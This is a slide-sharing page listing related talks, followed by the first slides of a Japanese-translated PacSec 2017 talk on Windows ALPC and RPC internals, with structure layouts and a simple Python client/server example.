発表資料 Fortranを用いた高位合成技術FortRockの開発
発表資料 Fortranを用いた高位合成技術FortRockの開発発表資料 Fortranを用いた高位合成技術FortRockの開発
発表資料 Fortranを用いた高位合成技術FortRockの開発貴大 山下
 
Redis & Redis HA design with Keepalived
Redis & Redis HA design with KeepalivedRedis & Redis HA design with Keepalived
Redis & Redis HA design with KeepalivedToshiki Inami
 
.NET Web プログラミングにおける非同期 IO のすべて (Build Insider OFFLINE)
.NET Web プログラミングにおける非同期 IO のすべて (Build Insider OFFLINE).NET Web プログラミングにおける非同期 IO のすべて (Build Insider OFFLINE)
.NET Web プログラミングにおける非同期 IO のすべて (Build Insider OFFLINE)Tusyoshi Matsuzaki
 
OSS開発勉強会-10
OSS開発勉強会-10OSS開発勉強会-10
OSS開発勉強会-10Kohei KaiGai
 
WebRTC getStats - WebRTC Meetup Tokyo 5 LT
WebRTC getStats - WebRTC Meetup Tokyo 5 LTWebRTC getStats - WebRTC Meetup Tokyo 5 LT
WebRTC getStats - WebRTC Meetup Tokyo 5 LTmganeko
 
Osc2018 tokyo spring_scap
Osc2018 tokyo spring_scapOsc2018 tokyo spring_scap
Osc2018 tokyo spring_scapKazuki Omo
 
php-src の歩き方
php-src の歩き方php-src の歩き方
php-src の歩き方do_aki
 
OpenJDK HotSpot C1Compiler Overview
OpenJDK HotSpot C1Compiler OverviewOpenJDK HotSpot C1Compiler Overview
OpenJDK HotSpot C1Compiler Overviewnothingcosmos
 
PHP AST 徹底解説
PHP AST 徹底解説PHP AST 徹底解説
PHP AST 徹底解説do_aki
 

What's hot (20)

2017年春のPerl
2017年春のPerl2017年春のPerl
2017年春のPerl
 
signal の話 或いは Zend Signals とは何か
signal の話 或いは Zend Signals とは何かsignal の話 或いは Zend Signals とは何か
signal の話 或いは Zend Signals とは何か
 
宣言的(Declarative)ネットワーキング
宣言的(Declarative)ネットワーキング宣言的(Declarative)ネットワーキング
宣言的(Declarative)ネットワーキング
 
レガシーなWebアプリケーションと向き合う
レガシーなWebアプリケーションと向き合うレガシーなWebアプリケーションと向き合う
レガシーなWebアプリケーションと向き合う
 
Step-Oriented Programming による任意コード実行の可能性
Step-Oriented Programming による任意コード実行の可能性Step-Oriented Programming による任意コード実行の可能性
Step-Oriented Programming による任意コード実行の可能性
 
How to debug a perl script using gdb
How to debug a perl script using gdbHow to debug a perl script using gdb
How to debug a perl script using gdb
 
ret2libc
ret2libcret2libc
ret2libc
 
高位合成友の会@ドワンゴ,2015年12月8日
高位合成友の会@ドワンゴ,2015年12月8日高位合成友の会@ドワンゴ,2015年12月8日
高位合成友の会@ドワンゴ,2015年12月8日
 
三項演算子を見ると「ウッ」てなる人のはなし
三項演算子を見ると「ウッ」てなる人のはなし三項演算子を見ると「ウッ」てなる人のはなし
三項演算子を見ると「ウッ」てなる人のはなし
 
発表資料 Fortranを用いた高位合成技術FortRockの開発
発表資料 Fortranを用いた高位合成技術FortRockの開発発表資料 Fortranを用いた高位合成技術FortRockの開発
発表資料 Fortranを用いた高位合成技術FortRockの開発
 
Redis & Redis HA design with Keepalived
Redis & Redis HA design with KeepalivedRedis & Redis HA design with Keepalived
Redis & Redis HA design with Keepalived
 
.NET Web プログラミングにおける非同期 IO のすべて (Build Insider OFFLINE)
.NET Web プログラミングにおける非同期 IO のすべて (Build Insider OFFLINE).NET Web プログラミングにおける非同期 IO のすべて (Build Insider OFFLINE)
.NET Web プログラミングにおける非同期 IO のすべて (Build Insider OFFLINE)
 
OSS開発勉強会-10
OSS開発勉強会-10OSS開発勉強会-10
OSS開発勉強会-10
 
WebRTC getStats - WebRTC Meetup Tokyo 5 LT
WebRTC getStats - WebRTC Meetup Tokyo 5 LTWebRTC getStats - WebRTC Meetup Tokyo 5 LT
WebRTC getStats - WebRTC Meetup Tokyo 5 LT
 
Osc2018 tokyo spring_scap
Osc2018 tokyo spring_scapOsc2018 tokyo spring_scap
Osc2018 tokyo spring_scap
 
php-src の歩き方
php-src の歩き方php-src の歩き方
php-src の歩き方
 
OpenJDK HotSpot C1Compiler Overview
OpenJDK HotSpot C1Compiler OverviewOpenJDK HotSpot C1Compiler Overview
OpenJDK HotSpot C1Compiler Overview
 
ZynqMPのQEMU
ZynqMPのQEMUZynqMPのQEMU
ZynqMPのQEMU
 
PHP AST 徹底解説
PHP AST 徹底解説PHP AST 徹底解説
PHP AST 徹底解説
 
about DakotagUI
about DakotagUIabout DakotagUI
about DakotagUI
 

Viewers also liked

Kavya racharla ndh-naropanth_fin_jp-final
Kavya racharla ndh-naropanth_fin_jp-finalKavya racharla ndh-naropanth_fin_jp-final
Kavya racharla ndh-naropanth_fin_jp-finalPacSecJP
 
Ryder robertson pac-sec skeleton 2017_jp
Ryder robertson pac-sec skeleton 2017_jpRyder robertson pac-sec skeleton 2017_jp
Ryder robertson pac-sec skeleton 2017_jpPacSecJP
 
Ryder robertson security-considerations_in_the_supply_chain_2017.11.02
Ryder robertson security-considerations_in_the_supply_chain_2017.11.02Ryder robertson security-considerations_in_the_supply_chain_2017.11.02
Ryder robertson security-considerations_in_the_supply_chain_2017.11.02PacSecJP
 
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final-j
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final-jYuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final-j
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final-jPacSecJP
 
Rouault imbert alpc_rpc_pacsec
Rouault imbert alpc_rpc_pacsecRouault imbert alpc_rpc_pacsec
Rouault imbert alpc_rpc_pacsecPacSecJP
 
Anıl kurmuş pacsec3
Anıl kurmuş pacsec3Anıl kurmuş pacsec3
Anıl kurmuş pacsec3PacSecJP
 
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_finalYuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_finalPacSecJP
 
Di shen pacsec_jp-final
Di shen pacsec_jp-finalDi shen pacsec_jp-final
Di shen pacsec_jp-finalPacSecJP
 
Di shen pacsec_final
Di shen pacsec_finalDi shen pacsec_final
Di shen pacsec_finalPacSecJP
 
Lucas apa pacsec slides
Lucas apa pacsec slidesLucas apa pacsec slides
Lucas apa pacsec slidesPacSecJP
 
Yunusov babin 7 sins pres atm v2
Yunusov babin 7 sins pres atm v2Yunusov babin 7 sins pres atm v2
Yunusov babin 7 sins pres atm v2PacSecJP
 
Yunusov babin 7sins-pres_atm_v4(2)_jp
Yunusov babin 7sins-pres_atm_v4(2)_jpYunusov babin 7sins-pres_atm_v4(2)_jp
Yunusov babin 7sins-pres_atm_v4(2)_jpPacSecJP
 
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...PacSecJP
 
Shusei tomonaga pac_sec_20171026
Shusei tomonaga pac_sec_20171026Shusei tomonaga pac_sec_20171026
Shusei tomonaga pac_sec_20171026PacSecJP
 
Kavya racharla ndh-naropanth_fin
Kavya racharla ndh-naropanth_finKavya racharla ndh-naropanth_fin
Kavya racharla ndh-naropanth_finPacSecJP
 
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...PacSecJP
 
Anıl kurmuş pacsec3-ja
Anıl kurmuş pacsec3-jaAnıl kurmuş pacsec3-ja
Anıl kurmuş pacsec3-jaPacSecJP
 
Lucas apa pacsec_slides_jp-final
Lucas apa pacsec_slides_jp-finalLucas apa pacsec_slides_jp-final
Lucas apa pacsec_slides_jp-finalPacSecJP
 
Shusei tomonaga pac_sec_20171026_jp
Shusei tomonaga pac_sec_20171026_jpShusei tomonaga pac_sec_20171026_jp
Shusei tomonaga pac_sec_20171026_jpPacSecJP
 
Marc schoenefeld grandma‘s old handbag_draft2
Marc schoenefeld grandma‘s old handbag_draft2Marc schoenefeld grandma‘s old handbag_draft2
Marc schoenefeld grandma‘s old handbag_draft2PacSecJP
 

Viewers also liked (20)

Kavya racharla ndh-naropanth_fin_jp-final
Kavya racharla ndh-naropanth_fin_jp-finalKavya racharla ndh-naropanth_fin_jp-final
Kavya racharla ndh-naropanth_fin_jp-final
 
Ryder robertson pac-sec skeleton 2017_jp
Ryder robertson pac-sec skeleton 2017_jpRyder robertson pac-sec skeleton 2017_jp
Ryder robertson pac-sec skeleton 2017_jp
 
Ryder robertson security-considerations_in_the_supply_chain_2017.11.02
Ryder robertson security-considerations_in_the_supply_chain_2017.11.02Ryder robertson security-considerations_in_the_supply_chain_2017.11.02
Ryder robertson security-considerations_in_the_supply_chain_2017.11.02
 
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final-j
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final-jYuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final-j
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final-j
 
Rouault imbert alpc_rpc_pacsec
Rouault imbert alpc_rpc_pacsecRouault imbert alpc_rpc_pacsec
Rouault imbert alpc_rpc_pacsec
 
Anıl kurmuş pacsec3
Anıl kurmuş pacsec3Anıl kurmuş pacsec3
Anıl kurmuş pacsec3
 
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_finalYuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final
 
Di shen pacsec_jp-final
Di shen pacsec_jp-finalDi shen pacsec_jp-final
Di shen pacsec_jp-final
 
Di shen pacsec_final
Di shen pacsec_finalDi shen pacsec_final
Di shen pacsec_final
 
Lucas apa pacsec slides
Lucas apa pacsec slidesLucas apa pacsec slides
Lucas apa pacsec slides
 
Yunusov babin 7 sins pres atm v2
Yunusov babin 7 sins pres atm v2Yunusov babin 7 sins pres atm v2
Yunusov babin 7 sins pres atm v2
 
Yunusov babin 7sins-pres_atm_v4(2)_jp
Yunusov babin 7sins-pres_atm_v4(2)_jpYunusov babin 7sins-pres_atm_v4(2)_jp
Yunusov babin 7sins-pres_atm_v4(2)_jp
 
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...
 
Shusei tomonaga pac_sec_20171026
Shusei tomonaga pac_sec_20171026Shusei tomonaga pac_sec_20171026
Shusei tomonaga pac_sec_20171026
 
Kavya racharla ndh-naropanth_fin
Kavya racharla ndh-naropanth_finKavya racharla ndh-naropanth_fin
Kavya racharla ndh-naropanth_fin
 
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...
 
Anıl kurmuş pacsec3-ja
Anıl kurmuş pacsec3-jaAnıl kurmuş pacsec3-ja
Anıl kurmuş pacsec3-ja
 
Lucas apa pacsec_slides_jp-final
Lucas apa pacsec_slides_jp-finalLucas apa pacsec_slides_jp-final
Lucas apa pacsec_slides_jp-final
 
Shusei tomonaga pac_sec_20171026_jp
Shusei tomonaga pac_sec_20171026_jpShusei tomonaga pac_sec_20171026_jp
Shusei tomonaga pac_sec_20171026_jp
 
Marc schoenefeld grandma‘s old handbag_draft2
Marc schoenefeld grandma‘s old handbag_draft2Marc schoenefeld grandma‘s old handbag_draft2
Marc schoenefeld grandma‘s old handbag_draft2
 

Similar to Rouault imbert view_alpc_rpc_pacsec_jp

FD.io VPP事始め
FD.io VPP事始めFD.io VPP事始め
FD.io VPP事始めtetsusat
 
SQL Server 2016 R Services + Microsoft R Server 技術資料
SQL Server 2016 R Services + Microsoft R Server 技術資料SQL Server 2016 R Services + Microsoft R Server 技術資料
SQL Server 2016 R Services + Microsoft R Server 技術資料Koichiro Sasaki
 
gumiStudy#7 The MessagePack Project
gumiStudy#7 The MessagePack ProjectgumiStudy#7 The MessagePack Project
gumiStudy#7 The MessagePack ProjectSadayuki Furuhashi
 
Qlik TechFest C-5 Qlikエンジンのサーバーサイド拡張(SSE)の 基礎から実装まで
Qlik TechFest C-5  Qlikエンジンのサーバーサイド拡張(SSE)の 基礎から実装までQlik TechFest C-5  Qlikエンジンのサーバーサイド拡張(SSE)の 基礎から実装まで
Qlik TechFest C-5 Qlikエンジンのサーバーサイド拡張(SSE)の 基礎から実装までQlikPresalesJapan
 
サーバー実装いろいろ
サーバー実装いろいろサーバー実装いろいろ
サーバー実装いろいろkjwtnb
 
Reactive Extensionsで非同期処理を簡単に
Reactive Extensionsで非同期処理を簡単にReactive Extensionsで非同期処理を簡単に
Reactive Extensionsで非同期処理を簡単にYoshifumi Kawai
 
20190625 OpenACC 講習会 第1部
20190625 OpenACC 講習会 第1部20190625 OpenACC 講習会 第1部
20190625 OpenACC 講習会 第1部NVIDIA Japan
 
Ethernetの受信処理
Ethernetの受信処理Ethernetの受信処理
Ethernetの受信処理Takuya ASADA
 
VPP事始め
VPP事始めVPP事始め
VPP事始めnpsg
 
161027 net opscoding-junos-automation
161027 net opscoding-junos-automation161027 net opscoding-junos-automation
161027 net opscoding-junos-automationHiromi Tsukamoto
 
『WAN SDN Controller NorthStarご紹介 & デモ』
『WAN SDN Controller NorthStarご紹介 & デモ』『WAN SDN Controller NorthStarご紹介 & デモ』
『WAN SDN Controller NorthStarご紹介 & デモ』Juniper Networks (日本)
 
2014/11/04 第2回 一撃サーバー構築シェルスクリプト勉強会(さっぽろ!) 発表資料
2014/11/04 第2回 一撃サーバー構築シェルスクリプト勉強会(さっぽろ!) 発表資料2014/11/04 第2回 一撃サーバー構築シェルスクリプト勉強会(さっぽろ!) 発表資料
2014/11/04 第2回 一撃サーバー構築シェルスクリプト勉強会(さっぽろ!) 発表資料Yasutaka Hamada
 
OpenStack + Common Lisp
OpenStack + Common LispOpenStack + Common Lisp
OpenStack + Common Lispirix_jp
 
ServiceMesh と仲間たち 〜Istio & Conduit & Linkerd〜 @Cloud Native Meetup Tokyo #1
ServiceMesh と仲間たち 〜Istio & Conduit & Linkerd〜 @Cloud Native Meetup Tokyo #1ServiceMesh と仲間たち 〜Istio & Conduit & Linkerd〜 @Cloud Native Meetup Tokyo #1
ServiceMesh と仲間たち 〜Istio & Conduit & Linkerd〜 @Cloud Native Meetup Tokyo #1Masaya Aoyama
 
Osc2017 tokyo spring_soss_sig
Osc2017 tokyo spring_soss_sigOsc2017 tokyo spring_soss_sig
Osc2017 tokyo spring_soss_sigKazuki Omo
 
SECDマシン 実装と動きとその他もろもろについて
SECDマシン 実装と動きとその他もろもろについてSECDマシン 実装と動きとその他もろもろについて
SECDマシン 実装と動きとその他もろもろについてt-sin
 

Similar to Rouault imbert view_alpc_rpc_pacsec_jp (20)

FD.io VPP事始め
FD.io VPP事始めFD.io VPP事始め
FD.io VPP事始め
 
SQL Server 2016 R Services + Microsoft R Server 技術資料
SQL Server 2016 R Services + Microsoft R Server 技術資料SQL Server 2016 R Services + Microsoft R Server 技術資料
SQL Server 2016 R Services + Microsoft R Server 技術資料
 
P2Pって何?
P2Pって何?P2Pって何?
P2Pって何?
 
gumiStudy#7 The MessagePack Project
gumiStudy#7 The MessagePack ProjectgumiStudy#7 The MessagePack Project
gumiStudy#7 The MessagePack Project
 
Gumi study7 messagepack
Gumi study7 messagepackGumi study7 messagepack
Gumi study7 messagepack
 
Amazon ElastiCacheのはじめ方
Amazon ElastiCacheのはじめ方Amazon ElastiCacheのはじめ方
Amazon ElastiCacheのはじめ方
 
Qlik TechFest C-5 Qlikエンジンのサーバーサイド拡張(SSE)の 基礎から実装まで
Qlik TechFest C-5  Qlikエンジンのサーバーサイド拡張(SSE)の 基礎から実装までQlik TechFest C-5  Qlikエンジンのサーバーサイド拡張(SSE)の 基礎から実装まで
Qlik TechFest C-5 Qlikエンジンのサーバーサイド拡張(SSE)の 基礎から実装まで
 
サーバー実装いろいろ
サーバー実装いろいろサーバー実装いろいろ
サーバー実装いろいろ
 
Reactive Extensionsで非同期処理を簡単に
Reactive Extensionsで非同期処理を簡単にReactive Extensionsで非同期処理を簡単に
Reactive Extensionsで非同期処理を簡単に
 
20190625 OpenACC 講習会 第1部
20190625 OpenACC 講習会 第1部20190625 OpenACC 講習会 第1部
20190625 OpenACC 講習会 第1部
 
Tottoruby 20110903
Tottoruby 20110903Tottoruby 20110903
Tottoruby 20110903
 
Ethernetの受信処理
Ethernetの受信処理Ethernetの受信処理
Ethernetの受信処理
 
VPP事始め
VPP事始めVPP事始め
VPP事始め
 
161027 net opscoding-junos-automation
161027 net opscoding-junos-automation161027 net opscoding-junos-automation
161027 net opscoding-junos-automation
 
『WAN SDN Controller NorthStarご紹介 & デモ』
『WAN SDN Controller NorthStarご紹介 & デモ』『WAN SDN Controller NorthStarご紹介 & デモ』
『WAN SDN Controller NorthStarご紹介 & デモ』
 
2014/11/04 第2回 一撃サーバー構築シェルスクリプト勉強会(さっぽろ!) 発表資料
2014/11/04 第2回 一撃サーバー構築シェルスクリプト勉強会(さっぽろ!) 発表資料2014/11/04 第2回 一撃サーバー構築シェルスクリプト勉強会(さっぽろ!) 発表資料
2014/11/04 第2回 一撃サーバー構築シェルスクリプト勉強会(さっぽろ!) 発表資料
 
OpenStack + Common Lisp
OpenStack + Common LispOpenStack + Common Lisp
OpenStack + Common Lisp
 
ServiceMesh と仲間たち 〜Istio & Conduit & Linkerd〜 @Cloud Native Meetup Tokyo #1
ServiceMesh と仲間たち 〜Istio & Conduit & Linkerd〜 @Cloud Native Meetup Tokyo #1ServiceMesh と仲間たち 〜Istio & Conduit & Linkerd〜 @Cloud Native Meetup Tokyo #1
ServiceMesh と仲間たち 〜Istio & Conduit & Linkerd〜 @Cloud Native Meetup Tokyo #1
 
Osc2017 tokyo spring_soss_sig
Osc2017 tokyo spring_soss_sigOsc2017 tokyo spring_soss_sig
Osc2017 tokyo spring_soss_sig
 
SECDマシン 実装と動きとその他もろもろについて
SECDマシン 実装と動きとその他もろもろについてSECDマシン 実装と動きとその他もろもろについて
SECDマシン 実装と動きとその他もろもろについて
 

More from PacSecJP

Marc schoenefeld grandma‘s old handbag_draft2_ja
Marc schoenefeld grandma‘s old handbag_draft2_jaMarc schoenefeld grandma‘s old handbag_draft2_ja
Marc schoenefeld grandma‘s old handbag_draft2_jaPacSecJP
 
Kasza smashing the_jars_j-corrected
Kasza smashing the_jars_j-correctedKasza smashing the_jars_j-corrected
Kasza smashing the_jars_j-correctedPacSecJP
 
Jurczyk windows metafile_pacsec_jp3
Jurczyk windows metafile_pacsec_jp3Jurczyk windows metafile_pacsec_jp3
Jurczyk windows metafile_pacsec_jp3PacSecJP
 
Jurczyk windows metafile_pacsec_v2
Jurczyk windows metafile_pacsec_v2Jurczyk windows metafile_pacsec_v2
Jurczyk windows metafile_pacsec_v2PacSecJP
 
Wenyuan xu Minrui yan can you trust autonomous vehicles_slides_liu_final
Wenyuan xu Minrui yan can you trust autonomous vehicles_slides_liu_finalWenyuan xu Minrui yan can you trust autonomous vehicles_slides_liu_final
Wenyuan xu Minrui yan can you trust autonomous vehicles_slides_liu_finalPacSecJP
 
Wenyuan xu Minrui Yan can you trust autonomous vehicles_slides_liu_final-ja
Wenyuan xu Minrui Yan can you trust autonomous vehicles_slides_liu_final-jaWenyuan xu Minrui Yan can you trust autonomous vehicles_slides_liu_final-ja
Wenyuan xu Minrui Yan can you trust autonomous vehicles_slides_liu_final-jaPacSecJP
 
Nishimura i os版firefoxの脆弱性を見つけ出す_jp
Nishimura i os版firefoxの脆弱性を見つけ出す_jpNishimura i os版firefoxの脆弱性を見つけ出す_jp
Nishimura i os版firefoxの脆弱性を見つけ出す_jpPacSecJP
 
Nishimura finding vulnerabilities-in-firefox-for-i-os-(nishimunea)
Nishimura finding vulnerabilities-in-firefox-for-i-os-(nishimunea)Nishimura finding vulnerabilities-in-firefox-for-i-os-(nishimunea)
Nishimura finding vulnerabilities-in-firefox-for-i-os-(nishimunea)PacSecJP
 
Moony li pacsec-1.5_j4-truefinal
Moony li pacsec-1.5_j4-truefinalMoony li pacsec-1.5_j4-truefinal
Moony li pacsec-1.5_j4-truefinalPacSecJP
 
Moony li pacsec-1.8
Moony li pacsec-1.8Moony li pacsec-1.8
Moony li pacsec-1.8PacSecJP
 

More from PacSecJP (10)

Marc schoenefeld grandma‘s old handbag_draft2_ja
Marc schoenefeld grandma‘s old handbag_draft2_jaMarc schoenefeld grandma‘s old handbag_draft2_ja
Marc schoenefeld grandma‘s old handbag_draft2_ja
 
Kasza smashing the_jars_j-corrected
Kasza smashing the_jars_j-correctedKasza smashing the_jars_j-corrected
Kasza smashing the_jars_j-corrected
 
Jurczyk windows metafile_pacsec_jp3
Jurczyk windows metafile_pacsec_jp3Jurczyk windows metafile_pacsec_jp3
Jurczyk windows metafile_pacsec_jp3
 
Jurczyk windows metafile_pacsec_v2
Jurczyk windows metafile_pacsec_v2Jurczyk windows metafile_pacsec_v2
Jurczyk windows metafile_pacsec_v2
 
Wenyuan xu Minrui yan can you trust autonomous vehicles_slides_liu_final
Wenyuan xu Minrui yan can you trust autonomous vehicles_slides_liu_finalWenyuan xu Minrui yan can you trust autonomous vehicles_slides_liu_final
Wenyuan xu Minrui yan can you trust autonomous vehicles_slides_liu_final
 
Wenyuan xu Minrui Yan can you trust autonomous vehicles_slides_liu_final-ja
Wenyuan xu Minrui Yan can you trust autonomous vehicles_slides_liu_final-jaWenyuan xu Minrui Yan can you trust autonomous vehicles_slides_liu_final-ja
Wenyuan xu Minrui Yan can you trust autonomous vehicles_slides_liu_final-ja
 
Nishimura i os版firefoxの脆弱性を見つけ出す_jp
Nishimura i os版firefoxの脆弱性を見つけ出す_jpNishimura i os版firefoxの脆弱性を見つけ出す_jp
Nishimura i os版firefoxの脆弱性を見つけ出す_jp
 
Nishimura finding vulnerabilities-in-firefox-for-i-os-(nishimunea)
Nishimura finding vulnerabilities-in-firefox-for-i-os-(nishimunea)Nishimura finding vulnerabilities-in-firefox-for-i-os-(nishimunea)
Nishimura finding vulnerabilities-in-firefox-for-i-os-(nishimunea)
 
Moony li pacsec-1.5_j4-truefinal
Moony li pacsec-1.5_j4-truefinalMoony li pacsec-1.5_j4-truefinal
Moony li pacsec-1.5_j4-truefinal
 
Moony li pacsec-1.8
Moony li pacsec-1.8Moony li pacsec-1.8
Moony li pacsec-1.8
 

Rouault imbert view_alpc_rpc_pacsec_jp

  • 1. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec ALPC-RPC内部への視点 Clément Rouault & Thomas Imbert PacSec November 2017
  • 2. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec 概要 ALPC RPC UAC 高度な機能と脆弱性の調査 CVE-2017-11783
  • 4. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec どうしてこの話をすることになったか? ユーザーアカウント制御(UAC) UACに興味を持っていた. 見つけたAPIは ShellExecuteA のみ UACを手動で発動するには? RPCでUACが発動するかもしれないことを知っていた ALPCがRPCを実行できることを知っていた そうだ、RPC-over-ALPC を探そう!
  • 5. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec 既存研究 発表 LPC & ALPC Interfaces - Recon 2008 - Thomas Garnier All about the ALPC, RPC, LPC, LRPC in your PC - Syscan 2014 - Alex Ionescu ALPC Fuzzing Toolkit - HITB 2014 - Ben Nagy ツール RpcView (Jean-Marie Borello, Julien Boutet, Jeremy Bouetard, Yoanne Girardin)
  • 7. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec 概要 ALPC Advanced Local Procedure Call ALPCポートでサーバーはリッスン そのポートにクライアントは接続 ALPC メッセージ ALPC メッセージは二つの部分で構成されている PORT_MESSAGE: メッセージのヘッダーとデータ ALPC_MESSAGE_ATTRIBUTES: 高度な機能の属性ヘッ ダーとデータ
  • 8. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec PORT_MESSAGE 0:000> dt -r combase!_PORT_MESSAGE +0x000 u1 +0x000 s1 +0x000 DataLength : Int2B // ヘッダーを含まないデータサイズ +0x002 TotalLength : Int2B // ヘッダー+データのサイズ +0x000 Length : Uint4B +0x004 u2 +0x000 s2 +0x000 Type +0x002 DataInfoOffset : Int2B // メッセージタイプ : Int2B +0x000 ZeroInit : Uint4B 0x008 ClientId : _CLIENT_ID +0x000 UniqueProcess : Ptr32 Void // クライアントの識別 +0x004 UniqueThread : Ptr32 Void // クライアントの識別 +0x008 DoNotUseThisField : Float +0x010 MessageId : Uint4B // 返信用のメッセージID +0x014 ClientViewSize : Uint4B +0x014 CallbackId : Uint4B
  • 9. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec APIs サーバー NtAlpcCreatePort NtAlpcAcceptConnectPort NtAlpcSendWaitReceivePort TpCallbackSendAlpcMessageOnCompletion rpcrt4.dllの利用 クライアント NtAlpcConnectPort NtAlpcDisconnectPort NtAlpcSendWaitReceivePort
  • 10. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec Python による実装 import windows # https://github.com/hakril/PythonForWindows def alpc_server(): server = windows.alpc.AlpcServer(PORT_NAME) msg = server.recv() # 接続メッセージの待機 assert msg.type & 0xfff == LPC_CONNECTION_REQUEST server.accept_connection(msg) msg = server.recv() # 実際のメッセージの待機 print("[SERV] Received message: <{0}>".format(msg)) print("[SERV] Message data: <{0}>".format(msg.data)) assert msg.type & 0xfff == LPC_REQUEST msg.data = "REQUEST ’{0}’ DONE".format(msg.data) server.send(msg) # 同じMessageIdで返信 def alpc_client(): client = windows.alpc.AlpcClient(PORT_NAME) print("[CLIENT] Connected: {0}".format(client)) response = client.send_receive("Hello world !") print("[CLIENT] Response: <{0}>".format(response.data))
  • 11. A view into ALPC-RPC はじめに ALPC RPC RPC Bind RPC call EpMapper UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec 概要 3 RPC RPC Bind RPC call EpMapper
  • 12. A view into ALPC-RPC はじめに ALPC RPC RPC Bind RPC call EpMapper UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec 概要 Remote Procedure Call サーバー 1つ以上のエンドポイント 1つ以上のインターフェース 各インタフェースはメソッドを持っている エンドポイント ncacn_ip_tcp: IP+port ncacn_np: pipemy_endpoint ncalrpc: RPC Controlmy_alpc_port ...
  • 13. A view into ALPC-RPC はじめに ALPC RPC RPC Bind RPC call EpMapper UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec RpcView
  • 14. A view into ALPC-RPC はじめに ALPC RPC RPC Bind RPC call EpMapper UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec RPC コールの流れ
  • 15. A view into ALPC-RPC はじめに ALPC RPC RPC Bind RPC call EpMapper UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec RpcBindRequest class ALPC_RPC_BIND(ctypes.Structure): _pack_ = 1 _fields_ = [ ("request_type", gdef.DWORD), ("UNK1", gdef.DWORD), ("UNK2", gdef.DWORD), ("target", gdef.RPC_IF_ID), # インターフェースのGUID + Version ("flags", gdef.DWORD), # NDR32 | NDR64 | ?? へのバインド ("if_nb_ndr32", gdef.USHORT), # もしNDR32への番号であれば ("if_nb_ndr64", gdef.USHORT), ("if_nb_unkn", gdef.USHORT), ("PAD", gdef.USHORT), ("register_multiple_syntax", gdef.DWORD),("use_flow", gdef.DWORD), ("UNK5", gdef.DWORD), ("maybe_flow_id", gdef.DWORD), ("UNK7", gdef.DWORD), ("some_context_id", gdef.DWORD), ("UNK9", gdef.DWORD), ]
